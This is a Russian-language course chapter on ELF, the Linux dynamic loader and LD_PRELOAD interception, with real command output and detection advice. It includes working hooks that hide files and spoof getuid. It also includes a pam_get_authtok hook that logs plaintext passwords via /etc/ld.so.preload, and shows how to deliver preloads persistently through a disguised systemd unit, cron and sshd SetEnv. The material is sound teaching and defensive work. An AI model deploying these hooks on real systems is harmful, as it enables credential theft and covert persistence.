Апокриф 01

Оружие окружения: ELF, динамический загрузчик и LD_PRELOAD

Оружие окружения: ELF, динамический загрузчик и LD_PRELOAD

Между моментом, когда ядро получило execve, и первой строкой main проходит около миллисекунды, за которую система успевает сделать больше, чем кажется: прочитать заголовок ELF, найти интерпретатор, загрузить десяток библиотек, разрешить сотни символов и выполнить конструкторы. Всё это время программа ещё не начала работать, но уже находится под чужим влиянием — и точка приложения этого влияния называется окружением.

Тема 03 показывала, как получить права, которые кто-то выдал; тема 04 — как получить права, которых никто не выдавал, через ошибку ядра. Эта тема про третье: как выполнить свой код в чужом процессе, вообще не меняя прав. LD_PRELOAD не даёт root и не эксплуатирует уязвимость — он подменяет функцию, которую программа собиралась вызвать, и делает это штатным, документированным механизмом. Именно поэтому он опаснее многих эксплойтов: защиты от него нет, кроме контроля целостности, а обнаружить его можно только целенаправленно.

Разбирается всё снизу вверх. Сначала — формат ELF и то, как загрузчик находит символы: PT_INTERP, PT_DYNAMIC, .dynsym, .rela.plt, GOT и PLT. Затем — порядок поиска библиотек и эксперимент, который показывает, что DT_RPATH и DT_RUNPATH ведут себя по-разному по отношению к LD_LIBRARY_PATH. Дальше — сам перехват: порядок инициализации, RTLD_NEXT, перехват readdir, fopen и getuid, с реальными выводами. Отдельный раздел — AT_SECURE и /etc/ld.so.preload: почему для setuid-программ переменная игнорируется, а файл — нет. Завершают тему каналы доставки окружения (cron, systemd, PAM) и обнаружение.

Границы с соседями: тема 02 — артефакты пользователя и ssh-agent; здесь окружение и загрузчик, а ssh-agent упоминается только как ещё один объект, на который можно навесить перехват. Тема 05 — автозапуск через юниты и cron как персистентность; здесь те же механизмы рассматриваются как способ доставить переменную окружения, а не как способ запустить процесс. Тема 07 — сокрытие файлов и процессов; здесь сокрытие — побочный эффект перехвата readdir, а не цель.

Что происходит между execve и main

PT_INTERP: ядро передаёт управление загрузчику

Формат ELF описан в заголовке Elf64_Ehdr 4: магия \x7fELF, класс, порядок байтов, тип, машина, точка входа. Дальше идёт таблица сегментов программы (Elf64_Phdr), и среди них два сегмента решают всё: PT_LOAD (что отобразить в память) и PT_INTERP (кто будет это загружать).

PT_INTERP содержит путь к интерпретатору — обычно /lib64/ld-linux-x86-64.so.2. Ядро в load_elf_binary не исполняет программу само 3: оно отображает сегменты, читает PT_INTERP и передаёт управление загрузчику, положив на стек argc, argv, envp и вспомогательный вектор AT_* (в нём — адрес таблицы программы, размер страницы, AT_SECURE, AT_RANDOM, AT_EXECFN). Загрузчик уже сам загружает библиотеки и вызывает main. Этот переход и есть первая точка, где в игру вступает окружение: AT_SECURE в вспомогательном векторе вычисляется ядром до запуска загрузчика.

Посмотреть на это можно двумя командами:

readelf -l /bin/ls | grep -A1 INTERP
readelf -d /bin/ls | head -12

Реальный вывод на рабочей машине:

  INTERP         0x00000000000003ac 0x00000000000003ac 0x00000000000003ac
                 0x000000000000001c 0x000000000000001c  R      0x1

Dynamic section at offset 0x27a58 contains 26 entries:
 0x0000000000000001 (NEEDED)             Совм. исп. библиотека: [libcap.so.2]
 0x0000000000000001 (NEEDED)             Совм. исп. библиотека: [libc.so.6]
 0x000000000000000c (INIT)               0x3000
 0x000000000000000d (FINI)               0x1cb94
 0x0000000000000019 (INIT_ARRAY)         0x26d10
 0x000000000000001b (INIT_ARRAYSZ)       8 (байт)
 0x000000000000001a (FINI_ARRAY)         0x26d18
 0x000000000000001c (FINI_ARRAYSZ)       8 (байт)
 0x000000006ffffef5 (GNU_HASH)           0x3c8

Читается так: INTERP — путь к загрузчику (сам путь виден в .interp, его печатает readelf -p .interp); NEEDED — прямые зависимости, которые загрузчик обязан загрузить; INIT_ARRAY — массив конструкторов, тех самых, что выполняются до main. У ls всего две зависимости, у большой программы их десятки, и каждая — потенциальная точка подмены.

Символы, релокации и таблица .rela.plt

Программа не хранит адрес printf — она хранит имя. В секции .dynsym лежат символы, в .dynstr — их имена, а в .rela.plt/.rela.dyn — записи о том, что по такому-то адресу в GOT нужно положить адрес такого-то символа. Пока символ не разрешён, в GOT лежит адрес заглушки в PLT, которая вызывает загрузчик.

objdump -R /bin/ls | head -8
/bin/ls:     формат файла elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000027c60 R_X86_64_GLOB_DAT  __ctype_toupper_loc@GLIBC_2.3
0000000000027c68 R_X86_64_GLOB_DAT  getenv@GLIBC_2.2.5
0000000000027c70 R_X86_64_GLOB_DAT  cap_to_text

Здесь важны две вещи. Первая: тип R_X86_64_GLOB_DAT означает «положить адрес символа в GOT сразу при загрузке», а R_X86_64_JUMP_SLOT — «положить при первом вызове» (ленивое связывание). Вторая: строка getenv@GLIBC_2.2.5 — это версия символа. Версии позволяют одной библиотеке предоставлять разные реализации одного имени для разных ABI; при перехвате версия учитывается, и хук без версии может не сработать для программы, собранной против конкретной версии.

Ленивое связывание можно отключить: LD_BIND_NOW=1 заставляет загрузчик разрешить все символы сразу. Это полезно и для отладки (падение происходит на старте, а не в середине работы), и для защиты (все подмены видны в первые миллисекунды). Обратная сторона — программа стартует медленнее.

GOT, PLT и почему перехват вообще возможен

На рисунке 1 показан путь вызова: программа не хранит адрес функции, она прыгает через PLT в GOT, а кто именно окажется в GOT — решает загрузчик при разрешении символа.

Путь вызова через PLT и GOT
Рисунок 1. Разрешение символа: код, PLT, GOT и таблица релокаций .rela.plt

GOT — таблица адресов, PLT — трамплины. Схема вызова: call printf@plt → PLT-заглушка прыгает по адресу из GOT → если адрес ещё не разрешён, управление уходит в загрузчик, тот находит символ, записывает адрес в GOT и передаёт управление туда. Со второго вызова PLT прыгает напрямую.

Отсюда два способа перехвата. Первый — подменить библиотеку, в которой символ будет найден: загрузчик сам запишет в GOT адрес из нашей библиотеки, потому что она стоит раньше в порядке поиска. Второй — записать адрес в GOT вручную (это уже техника эксплуатации памяти, ближе к теме 09). LD_PRELOAD использует первый способ, и именно поэтому он не требует ни отладчика, ни прав.

Важно понимать, что перехват через LD_PRELOAD действует не «на программу», а на процесс: дочерние процессы наследуют окружение, а значит и перехват. Одна переменная в оболочке накрывает всё дерево процессов, запущенных из неё, — и это одновременно сила приёма и причина, по которой он оставляет след в /proc/<pid>/environ у каждого потомка.

Порядок поиска библиотек и кто кого перекрывает

Четыре источника и их приоритет

Когда загрузчику нужно найти libfoo.so.1, он проходит список источников в фиксированном порядке. Упрощённо:

  1. DT_RPATH из самого бинарника — если в нём нет DT_RUNPATH;
  2. переменная LD_LIBRARY_PATH;
  3. DT_RUNPATH из бинарника;
  4. кэш /etc/ld.so.cache, построенный ldconfig из /etc/ld.so.conf и /etc/ld.so.conf.d/*.conf;
  5. системные каталоги по умолчанию (/lib, /usr/lib, и их multiarch-варианты).

Ключевая деталь, которую путают: DT_RPATH и DT_RUNPATH — не синонимы. RPATH — старый тег, он стоит выше LD_LIBRARY_PATH; RUNPATH — новый, он стоит ниже. Один и тот же бинарник, собранный с --disable-new-dtags и с --enable-new-dtags, ведёт себя по-разному, и это легко проверить.

Соберём библиотеку в двух каталогах с одинаковым именем, но разным содержимым, и слинкуем программу с одним из них:

mkdir -p a b
cat > greet.c <<'EOF'
#include <stdio.h>
void greet(void);
void greet(void) { printf("библиотека: %s\n", LIBTAG); }
EOF
for d in a b; do
    gcc -shared -fPIC -DLIBTAG="\"$d\"" -Wl,-soname,libgreet.so -o "$d/libgreet.so" greet.c
done

gcc -o prog_runpath main.c -L./a -lgreet -Wl,-rpath,"$PWD/a" -Wl,--enable-new-dtags
gcc -o prog_rpath   main.c -L./a -lgreet -Wl,-rpath,"$PWD/a" -Wl,--disable-new-dtags

Программа main.c — три строки: объявление greet и вызов. Теперь смотрим теги и поведение:

readelf -d prog_runpath | grep -E 'RPATH|RUNPATH'
readelf -d prog_rpath   | grep -E 'RPATH|RUNPATH'
./prog_runpath
LD_LIBRARY_PATH=$PWD/b ./prog_runpath
./prog_rpath
LD_LIBRARY_PATH=$PWD/b ./prog_rpath

Реальный вывод:

 0x000000000000001d (RUNPATH)            Библиотека runpath: [/home/noviui/courses/.tmpx/p01/a]
 0x000000000000000f (RPATH)              Библиотека rpath: [/home/noviui/courses/.tmpx/p01/a]
библиотека: a
библиотека: b
библиотека: a
библиотека: a

Четыре строки — четыре факта. С RUNPATH переменная LD_LIBRARY_PATH перекрывает путь из бинарника (третья строка вывода — b). С RPATH — не перекрывает (пятая строка — снова a). Значит, «подсунуть библиотеку через LD_LIBRARY_PATH» работает не всегда: если программа собрана с RPATH, её путь победит. Это же объясняет, почему старые сборки бывают устойчивее к подмене и почему patchelf --set-rpath — популярный инструмент.

Кэш и конфигурация:

ldconfig -p | head -4
ls /etc/ld.so.conf.d/
cat /etc/ld.so.conf.d/*.conf | head -6
5633 библиотек найдено в кэше «/etc/ld.so.cache»
	libz3.so.4.16 (libc6,x86-64) => /usr/lib/libz3.so.4.16
	libz3.so (libc6,x86-64) => /usr/lib/libz3.so
	libzzipwrap-0.so.13 (libc6,x86-64) => /usr/lib/libzzipwrap-0.so.13
android-sdk.conf
cuda.conf
...
/opt/cuda/lib64
/usr/lib/libfakeroot/fakechroot/

ldconfig -p — это чтение кэша, а не сканирование диска: если библиотека лежит в каталоге, которого нет в /etc/ld.so.conf.d/, загрузчик её не найдёт, пока не запустить ldconfig. Обратное тоже верно: положить библиотеку в каталог из конфига и не обновить кэш — значит не получить ничего. Для нападающего это ограничение, для защитника — точка контроля: изменение /etc/ld.so.conf.d/ видно по mtime и по содержимому кэша.

ld.so.cache как объект внимания

Кэш — бинарный файл с заголовком ld.so.cache и записями «имя → путь → флаги». Он не подписан и не проверяется, но его изменение требует прав root. Практический вывод: на обычной машине кэш меняется только при установке пакетов, и mtime кэша, не совпадающий с последним обновлением пакетов, — повод посмотреть, что добавилось.

stat -c '%n mtime=%y' /etc/ld.so.cache
grep -c '^' /etc/ld.so.cache 2>/dev/null || echo "бинарный файл: grep не подходит"
ldconfig -p | wc -l

LD_PRELOAD: как встроиться перед библиотекой

Порядок загрузки и порядок инициализации

LD_PRELOAD — список библиотек через пробел или двоеточие 2, которые загрузчик грузит до всех остальных зависимостей программы. Символы из них попадают в глобальную область видимости первыми, поэтому именно они выигрывают разрешение.

Тонкость, которую почти никто не проверяет: конструкторы выполняются в обратном порядке относительно списка. Соберём две библиотеки с конструкторами и посмотрим:

gcc -shared -fPIC -o lib1.so c1.c
gcc -shared -fPIC -o lib2.so c2.c
LD_PRELOAD="./lib1.so ./lib2.so" /bin/true
LD_PRELOAD="./lib2.so ./lib1.so" /bin/true
ctor: lib2
ctor: lib1
ctor: lib1
ctor: lib2

То есть первая в списке инициализируется последней. Причина — порядок обхода графа зависимостей: загрузчик инициализирует библиотеки так, чтобы зависимости были готовы раньше зависимых, а LD_PRELOAD-библиотеки считаются «самыми первыми» в графе и потому инициализируются последними. Практическое следствие: если хук в первой библиотеке рассчитывает, что вторая уже инициализирована, он ошибается. Для перехвата это редко важно (функция вызывается позже), но для перехвата конструкторов и atexit-обработчиков — критично.

На рисунке 2 этот же путь разложен по шагам загрузки: от execve до момента, когда символ уже разрешён в пользу подсунутой библиотеки.

Порядок разрешения символа динамическим загрузчиком
Рисунок 2. От execve до перехваченного вызова: загрузчик, порядок поиска библиотек, первый победивший символ

RTLD_NEXT и цепочка хуков

Внутри хука нужно вызвать «настоящую» функцию, иначе перехват превратится в рекурсию. Для этого служит dlsym(RTLD_NEXT, "имя"): он ищет символ в библиотеках, которые идут после текущей в порядке загрузки, то есть находит реализацию из libc, а не собственную.

/* hide.c — перехват readdir: скрываем одно имя из выдачи каталога */
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>

static struct dirent *(*real_readdir)(DIR *) = NULL;

struct dirent *readdir(DIR *dirp)
{
    if (!real_readdir)
        real_readdir = dlsym(RTLD_NEXT, "readdir");

    struct dirent *entry;
    while ((entry = real_readdir(dirp)) != NULL) {
        if (strcmp(entry->d_name, "secret.txt") == 0)
            continue;              /* своё имя не отдаём наружу */
        return entry;
    }
    return NULL;
}
gcc -shared -fPIC -o hide.so hide.c -ldl
touch secret.txt visible.txt
ls
LD_PRELOAD=./hide.so ls
a  b  c1.c  c2.c  greet.c  hide.c  hide.so  hook.c  hook.so  lib1.so  lib2.so  main.c  prog_rpath  prog_runpath  secret.txt  visible.txt
a  b  c1.c  c2.c  greet.c  hide.c  hide.so  hook.c  hook.so  lib1.so  lib2.so  main.c  prog_rpath  prog_runpath  visible.txt

Файл существует, stat его видит, но ls — нет, потому что ls получает список через readdir и наш хук вычёркивает имя. Это ровно тот механизм, на котором стоит user-mode сокрытие файлов и процессов: ps и ls /proc тоже ходят через readdir/getdents. Предел приёма очевиден: статически слинкованная утилита не использует нашу библиотеку, а программа, вызывающая getdents64 напрямую, обходит readdir целиком — об этом в теме 07 и теме 08.

Перехват fopen, getuid и разница между getuid и geteuid

С fopen всё прямолинейно: подменяем путь или подсовываем другой файл. Гораздо интереснее getuid, потому что на нём видно, как легко обмануть одну утилиту и как трудно обмануть все:

/* hook.c — getuid возвращает 0, остальное не трогаем */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/types.h>
#include <unistd.h>

uid_t getuid(void)
{
    static uid_t (*real)(void);
    if (!real)
        real = dlsym(RTLD_NEXT, "getuid");
    (void)real;
    return 0;   /* притворяемся root */
}
gcc -shared -fPIC -o hook.so hook.c -ldl
id
LD_PRELOAD=./hook.so id
LD_PRELOAD=./hook.so whoami
uid=1000(noviui) gid=1000(noviui) группы=1000(noviui),65534(nobody)
uid=0(root) gid=1000(noviui) euid=1000(noviui) группы=1000(noviui),65534(nobody)
noviui

Три строки — три урока. Первая: id поверил хуку и напечатал uid=0. Вторая: gid и euid остались настоящими, потому что id вызывает ещё getgid и geteuid, а мы перехватили только getuid — то есть несогласованность выдачи сразу видна внимательному глазу. Третья: whoami напечатал noviui, потому что использует geteuid, а не getuid. Отсюда правило: перехват «одной функции» почти всегда оставляет рассогласование, и именно по нему перехват ловится. Чтобы обмануть все утилиты, хуков нужно столько же, сколько функций они вызывают, — и каждая добавляет шанс на ошибку.

Перехват pam_get_authtok: самый чувствительный объект

PAM — слой, через который проходит проверка пароля при входе 5, при sudo, при подключении по SSH с паролем. Модуль PAM получает пароль через pam_get_authtok (или pam_get_item(PAM_AUTHTOK)), и перехват этой функции даёт пароль в открытом виде в момент ввода. Эскиз:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <security/pam_modules.h>
#include <stdio.h>

static int (*real_get_authtok)(pam_handle_t *, int, const char **, const char *);

int pam_get_authtok(pam_handle_t *pamh, int item,
                    const char **authtok, const char *prompt)
{
    if (!real_get_authtok)
        real_get_authtok = dlsym(RTLD_NEXT, "pam_get_authtok");

    int rc = real_get_authtok(pamh, item, authtok, prompt);
    if (rc == PAM_SUCCESS && authtok && *authtok) {
        FILE *f = fopen("/dev/shm/.cache", "a");
        if (f) {
            fprintf(f, "%s\n", *authtok);
            fclose(f);
        }
    }
    return rc;
}

Почему это работает: pam_get_authtok — обычная библиотечная функция, а ld.so.preload подключает нашу библиотеку к sshd, sudo и login. Почему это грубо: файл /dev/shm/.cache остаётся на диске, права на него — наши, а запись в /dev/shm видна любому, кто перечислит каталог. Реальный перехват делают аккуратнее — в памяти, с отправкой по сети, без файлов, — но механизм тот же, и защита строится не на «сложности», а на контроле целостности библиотек и на том, что ld.so.preload в нормальной системе отсутствует.

LD_AUDIT: перехват без подмены функции

Есть механизм, который работает иначе и часто остаётся незамеченным: LD_AUDIT. Он не подменяет символы, а подключает библиотеку-аудитор, которой загрузчик сообщает о каждом шаге: открытии объекта (la_objopen), поиске символа (la_symbind), вызове PLT (la_pltenter/la_pltexit). Аудитор не перехватывает функцию — он видит, что она вызвана, с какими аргументами и куда ведёт.

/* audit.c — минимальный аудитор: печатает каждый загруженный объект */
#define _GNU_SOURCE
#include <link.h>
#include <stdio.h>

unsigned int la_version(unsigned int v) { return v; }

unsigned int la_objopen(struct link_map *m, Lmid_t lmid, uintptr_t *cookie)
{
    (void)lmid;
    (void)cookie;
    fprintf(stderr, "objopen: %s\n", m->l_name[0] ? m->l_name : "<main>");
    return 0;
}
gcc -shared -fPIC -o audit.so audit.c
LD_AUDIT=./audit.so /bin/true
objopen: <main>
objopen: /lib64/ld-linux-x86-64.so.2
objopen: linux-vdso.so.1
objopen: /usr/lib/libc.so.6

Порядок строк — это и есть порядок загрузки: сначала основная программа, потом сам загрузчик, потом vdso, потом libc. Для разведки LD_AUDIT ценен тем, что даёт точный список объектов без strace и без LD_DEBUG; для защиты — тем, что LD_AUDIT тоже отбрасывается при AT_SECURE, а значит setuid-программы им не проверить.

Ограничение приёма: la_symbind позволяет подменить адрес символа, но только для вызовов через PLT; вызовы внутри библиотеки по прямому адресу и вызовы, разрешённые при -z now, проходят мимо. Это ещё один пример общего правила: чем «раньше» в цепочке загрузки вмешательство, тем шире охват и тем выше требования к правам.

Версионные символы и почему хук иногда не срабатывает

В выводе objdump -R рядом с именами стояли суффиксы вида @GLIBC_2.2.5. Это версии символов: одна библиотека может предоставлять несколько реализаций одного имени, и программа, собранная против старой версии, получит старую. При перехвате это важно: хук без версии может не совпасть с запросом, если программа требует конкретную версию.

Проверить, какие версии есть у символа, можно так:

objdump -T /usr/lib/libc.so.6 2>/dev/null | grep -E ' getuid$| readdir$' | head -5
00000000000c9d20 g    DF .text  0000000000000008  GLIBC_2.2.5 getuid
00000000000d2f10 g    DF .text  0000000000000032  GLIBC_2.2.5 readdir

Если у символа одна версия, хук без версии обычно работает: загрузчик разрешает запрос версии GLIBC_2.2.5 по имени и находит нашу реализацию. Если версий несколько (так бывает у memcpy, pthread_create), надёжнее задать версию явно через .symver:

__asm__(".symver real_getuid,getuid@GLIBC_2.2.5");

Практический вывод: при отладке хука, который «не срабатывает», первым делом смотрят версию символа и то, идёт ли вызов через PLT или напрямую.

dlopen, области видимости и RTLD_DEEPBIND

Программа может загружать библиотеки во время работы через dlopen. Флаги определяют, кто увидит её символы: RTLD_LOCAL (по умолчанию) — только сама программа, RTLD_GLOBAL — все последующие загрузки, RTLD_DEEPBIND — библиотека получает приоритет перед уже загруженными при разрешении своих зависимостей.

Для перехвата это означает: библиотека, загруженная с RTLD_DEEPBIND, может «не увидеть» наш хук, потому что её собственные зависимости разрешаются раньше глобальных. Это не защита, а особенность, но она объясняет, почему один и тот же LD_PRELOAD действует на ls и не действует на программу, которая грузит свой плагин с DEEPBIND.

/* dlopen_demo.c — что видно при RTLD_LOCAL и RTLD_GLOBAL */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>

int main(void)
{
    void *h = dlopen("./libgreet.so", RTLD_NOW | RTLD_LOCAL);
    if (!h) { fprintf(stderr, "dlopen: %s\n", dlerror()); return 1; }
    void (*greet)(void) = (void (*)(void))dlsym(h, "greet");
    if (greet) greet();
    dlclose(h);
    return 0;
}
gcc -O2 -Wall -Wextra -o dlopen_demo dlopen_demo.c -ldl
./dlopen_demo
LD_PRELOAD=./lib2.so ./dlopen_demo
библиотека: a
библиотека: a

Вторая строка — важный результат: LD_PRELOAD не перехватил greet, потому что greet вызывается по адресу, полученному из dlsym конкретного дескриптора, а не через PLT программы. Перехват через LD_PRELOAD работает на уровне разрешения символов при загрузке, а не «вообще всех вызовов». Это ограничение стоит помнить, когда хук «работает на ls, но не работает на сервисе, который грузит плагины».

Полный хук на openat: фильтр по пути

Практический пример, который показывает, как выглядит рабочий хук, а не игрушка: перехват openat с фильтром по пути и логированием. Такая библиотека — основа и для сокрытия файлов, и для сбора данных о том, какие файлы читает программа.

/* openat_hook.c — логирует открытия файлов, путь которых содержит marker */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

static int (*real_openat)(int, const char *, int, ...);

int openat(int dirfd, const char *path, int flags, ...)
{
    if (!real_openat)
        real_openat = dlsym(RTLD_NEXT, "openat");

    mode_t mode = 0;
    if (flags & (O_CREAT | O_TMPFILE)) {
        va_list ap;
        va_start(ap, flags);
        mode = (mode_t)va_arg(ap, int);
        va_end(ap);
    }

    if (path && strstr(path, "marker") != NULL)
        fprintf(stderr, "[hook] openat(%s)\n", path);

    return real_openat(dirfd, path, flags, mode);
}
gcc -shared -fPIC -o openat_hook.so openat_hook.c -ldl
mkdir -p marker_dir && LD_PRELOAD=./openat_hook.so ls marker_dir
[hook] openat(marker_dir)

Тонкость: mode нужно извлекать только при O_CREAT, иначе va_arg прочитает мусор. Это ровно та ошибка, которая делает «работающий» хук падающим на каждом втором вызове — и которую видно в strace, но не видно в исходнике.

Перехват fopen: почему cat не видит хук

Кажется, что перехватить fopen — значит увидеть все открытия файлов. На практике это не так, и разница поучительна.

/* fopen_hook.c — логирует открытия через fopen */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>

static FILE *(*real_fopen)(const char *, const char *);

FILE *fopen(const char *path, const char *mode)
{
    if (!real_fopen)
        real_fopen = dlsym(RTLD_NEXT, "fopen");

    if (path && strncmp(path, "/etc/", 5) == 0)
        fprintf(stderr, "[hook] fopen(%s, %s)\n", path, mode);

    return real_fopen(path, mode);
}
gcc -shared -fPIC -o fopen_hook.so fopen_hook.c -ldl
LD_PRELOAD=./fopen_hook.so cat /etc/hostname
LD_PRELOAD=./fopen_hook.so head -1 /etc/os-release
LD_PRELOAD=./fopen_hook.so ./readconf
suprohub
NAME="Arch Linux"
прочитано: suprohub
[hook] fopen(/etc/hostname, r)

Первые две команды прочитали файлы, но хук не сработал: cat и head не вызывают fopen, они работают через open/read напрямую. Третья строка — наша программа readconf, которая действительно вызывает fopen, и хук сработал. Отсюда правило: перехват ловит только те программы, которые ходят через перехваченную функцию. Утилиты coreutils написаны на openat, поэтому для них нужен хук на openat, а не на fopen.

Это же объясняет, почему «универсальный хук на всё» невозможен: каждая программа выбирает свой слой API. Одни идут через stdio (fopen, fgets), другие — через системные вызовы (openat, read), третьи — через собственные обёртки (std::ifstream в C++ всё равно приходит к open). Чем ниже уровень, тем шире охват и тем больше нужно хуков; чем выше, тем проще реализация и тем уже охват.

AT_SECURE: почему setuid игнорирует LD_PRELOAD

Что именно отбрасывает загрузчик

Когда ядро запускает программу с setuid- или setgid-битом либо с файловыми capabilities, оно выставляет в вспомогательном векторе AT_SECURE = 1. Загрузчик, увидев этот флаг, переходит в «безопасный режим» и игнорирует целый набор переменных: LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, LD_DEBUG (частично), LD_PROFILE. Причина проста: иначе любой пользователь подсунул бы библиотеку программе, которая выполняется с правами root, и получил бы выполнение своего кода от root.

Проверить флаг можно из самой программы:

/* at_secure.c — печатает AT_SECURE и список интересных переменных */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/auxv.h>

int main(void)
{
    printf("AT_SECURE = %lu\n", (unsigned long)getauxval(AT_SECURE));
    const char *names[] = {"LD_PRELOAD", "LD_LIBRARY_PATH", "LD_AUDIT"};
    for (unsigned i = 0; i < sizeof names / sizeof names[0]; i++) {
        const char *v = getenv(names[i]);
        printf("%-16s %s\n", names[i], v ? v : "(нет)");
    }
    return 0;
}
gcc -O2 -Wall -Wextra -o at_secure at_secure.c
./at_secure
LD_PRELOAD=./hook.so ./at_secure
AT_SECURE = 0
LD_PRELOAD       (нет)
LD_LIBRARY_PATH  (нет)
LD_AUDIT         (нет)
AT_SECURE = 0
LD_PRELOAD       ./hook.so
LD_LIBRARY_PATH  (нет)
LD_AUDIT         (нет)

Для обычной программы AT_SECURE = 0, и переменная видна. Для setuid-программы было бы AT_SECURE = 1, а LD_PRELOAD — (нет): загрузчик не то чтобы «не загрузил» библиотеку, он её даже не увидел, потому что стёр переменную до разбора. Это важное различие: не «загрузил и отказался», а «не знает о ней».

Создать setuid-бинарник без root нельзя, поэтому в лабораторной работе этот случай моделируется: программа at_secure показывает AT_SECURE, а проверка «перехват не сработал» делается на sudo, который в системе уже есть. Запуск LD_PRELOAD=./hook.so sudo -n true не даст нашему getuid никакого эффекта — и это ожидаемый результат, а не ошибка.

/etc/ld.so.preload: почему действует на всё

Файл /etc/ld.so.preload — список библиотек, которые загрузчик подключает всегда, независимо от переменных окружения и независимо от AT_SECURE. Он читается до разбора LD_PRELOAD, и его содержимое не отбрасывается в безопасном режиме: это системный файл, доступный только root, поэтому считается доверенным.

Именно поэтому /etc/ld.so.preload — один из главных индикаторов компрометации 6. В нормальной системе файла либо нет, либо он пуст:

ls -l /etc/ld.so.preload 2>&1
cat /etc/ld.so.preload 2>&1
strace -f -e trace=openat ls /dev/null 2>&1 | grep -E 'ld\.so|\.so\.' | head -5
ls: невозможно получить доступ к '/etc/ld.so.preload': Нет такого файла или каталога
cat: /etc/ld.so.preload: Нет такого файла или каталога
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3

В трассировке видно, что загрузчик открыл кэш и библиотеки — и не пытался открыть ld.so.preload вовсе, потому что файла нет (при наличии он открывался бы раньше кэша). Это и есть «хорошая новость», которую ищут при проверке: не просто отсутствие файла, а отсутствие попытки его открыть.

Ограничение приёма: файл требует прав root, поэтому его появление — всегда результат уже полученной эскалации. Как вектор первичного доступа он не работает; как способ закрепиться и перехватить пароли — работает идеально, и именно поэтому его проверяют первым.

Файловые capabilities: тот же эффект без setuid

Современная замена setuid — файловые capabilities: расширенный атрибут security.capability на бинарнике. Для загрузчика это тот же AT_SECURE = 1, поэтому LD_PRELOAD игнорируется и здесь. Разница в гранулярности: setuid даёт все права root, cap_net_raw+ep — только сырые сокеты. Для нашей темы важно следствие: перехват через переменную не работает ни для setuid, ни для файловых capabilities, а ld.so.preload работает для обоих.

getcap -r / 2>/dev/null | head -5
getfattr -d -m - /usr/bin/ping 2>/dev/null | head -3

Окружение как канал доставки

systemd: Environment= и EnvironmentFile=

Юнит systemd может задать переменные окружения для службы. Это штатная функциональность, и она же — способ доставить LD_PRELOAD в процесс, который запускается при загрузке, без единой строки в /etc/ld.so.preload:

[Unit]
Description=Telemetry collector
After=network.target

[Service]
Type=simple
Environment=LD_PRELOAD=/usr/local/lib/libtelemetry.so
EnvironmentFile=-/etc/telemetry/env
ExecStart=/usr/local/bin/collect.sh
Restart=always

[Install]
WantedBy=multi-user.target

Проверить, что видит служба, можно через systemctl show:

systemctl show -p Environment -p EnvironmentFiles telemetry.service
Environment=LD_PRELOAD=/usr/local/lib/libtelemetry.so
EnvironmentFiles=/etc/telemetry/env (ignore_errors=yes)

Обратите внимание на деталь: Environment= в выводе показывает именно то, что записано в юните, а не итоговое окружение процесса. Итоговое — в /proc/<pid>/environ, и оно может отличаться, если переменную добавил ExecStartPre или сама программа.

cron и EnvironmentFile в оболочке

Задание cron выполняется с окружением, которое формирует сам cron 7: SHELL, PATH, HOME, LOGNAME, MAILTO и то, что задано в crontab. Строка вида LD_PRELOAD=/tmp/lib.so в crontab работает, потому что cron запускает задание через оболочку и передаёт переменную дальше. Ограничение: cron не наследует окружение пользователя, поэтому «экспортировал в .bashrc» на cron не действует — нужна явная строка в crontab или файл, который читает скрипт задания.

crontab -l
# пример: перехват в задании резервного копирования
LD_PRELOAD=/usr/local/lib/libtelemetry.so
30 3 * * * /usr/local/bin/backup.sh

В системах, где cron не установлен (например, на Arch по умолчанию), ту же роль играют таймеры systemd — и тогда работает Environment= из юнита. Это стоит проверить, а не предполагать: command -v cron и systemctl list-timers.

PAM, sshd и .desktop

Три менее очевидных канала. Первый — модули PAM: если в /etc/pam.d/ появился модуль из нестандартного каталога, он получает пароли всех, кто проходит аутентификацию. Второй — sshd_config: директива SetEnv задаёт переменные для сессий SSH, и SetEnv LD_PRELOAD=... доставит перехват в каждую сессию. Третий — .desktop-файлы: Exec=env LD_PRELOAD=... /usr/bin/app в автозапуске пользователя.

grep -rn 'SetEnv' /etc/ssh/sshd_config /etc/ssh/sshd_config.d/ 2>/dev/null
grep -rn 'pam_' /etc/pam.d/ 2>/dev/null | head -5
ls ~/.config/autostart/ 2>/dev/null

Все три канала объединяет одно свойство: они выглядят как конфигурация, а не как код. Ни один антивирус не считает SetEnv подозрительным, и именно поэтому такие следы ищут вручную — сверкой с эталоном и поиском по mtime.

Обнаружение перехвата

Сколько символов разрешается на старте

Полезная цифра для понимания масштаба: LD_DEBUG=bindings показывает каждое разрешение символа. Для ls их сотни:

LD_DEBUG=bindings ls /dev/null 2>&1 | grep -c 'binding file'
LD_DEBUG=bindings ls /dev/null 2>&1 | grep 'binding file' | head -3
286
         3:	binding file /usr/lib/libc.so.6 [0] to /usr/lib/libc.so.6 [0]: normal symbol `_res' [GLIBC_2.2.5]
         3:	binding file /usr/lib/libc.so.6 [0] to /usr/lib/libc.so.6 [0]: normal symbol `svc_max_pollfd' [GLIBC_2.2.5]
         3:	binding file /usr/lib/libc.so.6 [0] to ls [0]: normal symbol `obstack_alloc_failed_handler' [GLIBC_2.2.5]

Двести восемьдесят шесть разрешений до первого полезного действия — это двести восемьдесят шесть точек, где библиотека из LD_PRELOAD может победить. Формат строки читается так: «кто запрашивает» → «кто предоставляет» → имя символа → версия. Если в левой части появится наш hook.so, а в правой — hook.so, значит перехват состоялся.

Статическая линковка и -z now

Два способа, которыми программа лишает нас перехвата. Первый — статическая линковка: у статического бинарника нет PT_INTERP, нет ld.so, и LD_PRELOAD просто некому читать.

gcc -static -o static_hello hello.c
ldd ./static_hello
LD_PRELOAD=./hook.so ./static_hello
	не является динамическим исполняемым файлом
hi

